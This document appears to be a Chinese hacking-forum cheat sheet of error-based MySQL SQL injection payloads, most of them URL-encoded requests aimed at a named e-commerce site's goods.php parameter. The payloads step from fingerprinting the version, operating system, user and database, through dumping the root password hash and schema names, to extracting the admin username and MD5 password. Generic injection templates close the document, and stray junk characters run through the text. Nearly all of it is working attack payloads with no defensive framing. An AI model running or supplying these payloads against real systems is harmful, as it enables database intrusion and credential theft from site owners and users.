判断版本号 + @; a% l! [; a
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ l3 D: d- e- g) ]0 q; m0 ?" o5 \! }7 k7 Q
判断系统/ G, ?! g" b. I1 R0 l
$ K" Y( K5 I* ^. V' Y. b' Z
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 D; z/ ?8 H+ P! z+ O. u/ N- z, y( R
) y: l3 |# o9 W e- L9 o, P
7 i" ]( e+ T1 l# E
1 \, K. h# q' U+ _当前 user()8 E! Y! t T. ?- J' B- `* `; @
( P0 N, }6 A- }5 H, ghttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
0 X7 R* v0 l& z" r0 | h, A/ ~, F4 T) G @
9 ^; Z5 c$ a# ~% r5 Y
4 T8 n# { M* p3 c1 @) R当前 database()
5 u- b- ?) Z2 b' k ohttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23$ G) n1 K h4 z) [. T7 y
4 s/ g6 h$ `" o* R8 G
- W) U/ F# ?" l! s* H6 D/ ?, Y3 n
$ s( Q" o6 n; m1 i: F T
f2 _, ?& j+ d5 Z) J- Nroot hash
3 g9 a* P1 g7 P6 y, T% w; X; m6 {0 m
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
% a, U8 S& E6 C: ~
& i) y0 w) @2 \ N: q% I& ]0 e i7 y# Z9 E7 O
2 ^. H0 N" B) b* E当前 数据库表名
% O; \/ _; z$ x- s1 ]& V
' x, T4 A. |# ehttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
3 @4 D% Y0 ^) c. n" y# Z/ X- P+ r. H$ b3 |0 W1 w( A0 w3 ]& H" v
8 W( K$ ]) s$ ]) X9 _
& u+ K$ ], i( u- R7 u
当前 数据库 user_name 字段
& Y+ S9 q) }6 Q% [
. d! l! { \, w1 s+ I& ehttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 m: S* i9 K" F+ J
% p, l7 g! R; x i
当前 数据库 字段 password8 q6 n' P3 r& T) @0 k0 u; w
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' q8 H+ H S; U8 U/ ]6 Y+ b2 t
& t% M& E1 y: f# L2 e: @! `, B4 o% m' m! D* r
@3 F* Z* P3 I$ I; M
获得 admin passwd(md5)
6 h3 t9 D; A1 e; _2 J. X+ x, S W. d* {' Q* H' c6 }8 i
) W/ ~* v2 o+ `1 x. [! S+ dhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
- }% ?- x5 A2 Z `) |5 C: X8 P6 y9 g7 e' a8 F6 b
报错注射$ Q# i3 t, U7 S3 S5 D* z
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
. A; a' c8 W" o% ]" J) h, G# n$ W" z+ G
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
1 E, t$ E. F* e
1 J% s6 ?$ m9 }. C8 z# eand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |